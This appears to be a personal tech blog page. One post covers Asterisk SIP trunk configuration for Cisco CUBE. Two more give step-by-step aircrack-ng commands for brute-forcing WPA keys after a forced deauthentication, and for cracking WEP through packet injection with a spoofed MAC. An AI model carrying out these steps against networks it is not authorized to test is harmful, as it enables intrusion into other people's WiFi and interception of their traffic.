Tom Salmon

SIP Trunking between Asterisk 1.4 and Cisco CUBE

Mar 19

TomNetworking No Comments

As far as I can tell Cisco CUBE only supports unauthenticated SIP trunks, which isn’t too much trouble for Asterisk.

In sip.conf:
type=peer
host=x.x.x.x
context=trunks-inbound
allow=all
insecure=invite,port
trustrpid=yes
sendrpid=no
qualify=yes
(change ‘trunks-inbound’ to the necessary context)

In extensions.conf:
exten=>_0.,1,Set(CALLERID(num)=nnn-nnn-${CALLERID(num)})
exten=>_0.,n,Dial(SIP/x.x.x.x/${EXTEN:1})
exten=>_0.,n,Hangup
(First line is optional, and simply adds a prefix to the outgoing caller ID)

The “insecure=invite,port” is the critical part, as the source port from the Cisco CUBE appears to be dynamic unlike a tradition SIP trunk.

Brute Forcing WPA WiFi Encryption

Mar 19

TomLinux General, Networking, Wireless No Comments

WPA and WPA2 provide good WiFi security which is mainly susceptible to brute force attacks. Here is how such a brute force attack may be carried out.
Using Debian Wheezy (testing) and an Intel Corporation Centrino Wireless-N 1000 card:

1. Enter monitor mode: airmon-ng start wlan0
2. Find nearby networks: airodump-ng mon0
3. Identify the target BSSID and Channel number (-c option below)
4. Start packet capture and leave running: airodump-ng -c 6 –bssid 00:11:22:33:44:55 -w capturefile mon0
5. Leave packet capture running until “WPA Handshake” is seen (displayed in the top-right of airodump-ng
6. Or attempt to force a WPA Handshake by deauthenticating a client station: aireplay –deauth 1 -a 00:11:22:33:44:55 -c 55:55:55:55:55:55 –ignore-negative-one mon0 (where -c is the MAC address of one of the stations displayed in airodump-ng)
7. Apply brute force: aircrack-ng -w password.lst capturefile.cap
8. The password.lst is included in the ‘test/’ directory of the aircrack-ng source. Many others are available for download
9. Stop monitor mode: airmon-ng stop mon0

Breaking WEP Encryption

Mar 19

TomLinux General, Networking, Wireless No Comments

Using Debian Wheezy (testing) with a Intel Corporation Centrino Wireless-N 1000 card…

1. Enter monitor mode: airmon-ng start wlan0
2. Find nearby networks: airodump-ng mon0
3. Identify the target BSSID, SSID and Channel number (-c option below)
4. Start packet capture and leave running: airodump-ng -c 6 –bssid 00:11:22:33:44:55 -w capturefile mon0
5. Run the following two commands at the same time in separate windows (-h changes our source address, to add some stealth)
   1. aireplay-ng –fakeauth 40 -a 00:11:22:33:44:55 -h 01:12:34:56:67:89 –ignore-negative-one mon0
   2. aireplay-ng –arpreplay -x 20 -b 00:11:22:33:44:55 -h 01:12:34:56:67:89 –ignore-negative-one -e SSID mon0
   3. when this sees an ARP packet, it will go like crazy injecting packets and you will see the “#Data” rapidly increasing in the airodump-ng window
6. After collecting 30,000 packets (you may leave airodump-ng running): aircrack-ng -1 capturefile.cap
7. The WEP key should then be displayed in the terminal window.
8. The collected packet trace may be decrypted with: airdecap-ng -w $wep_key_hex capturefile.cap
9. Exit monitor mode: airmon-ng stop mon0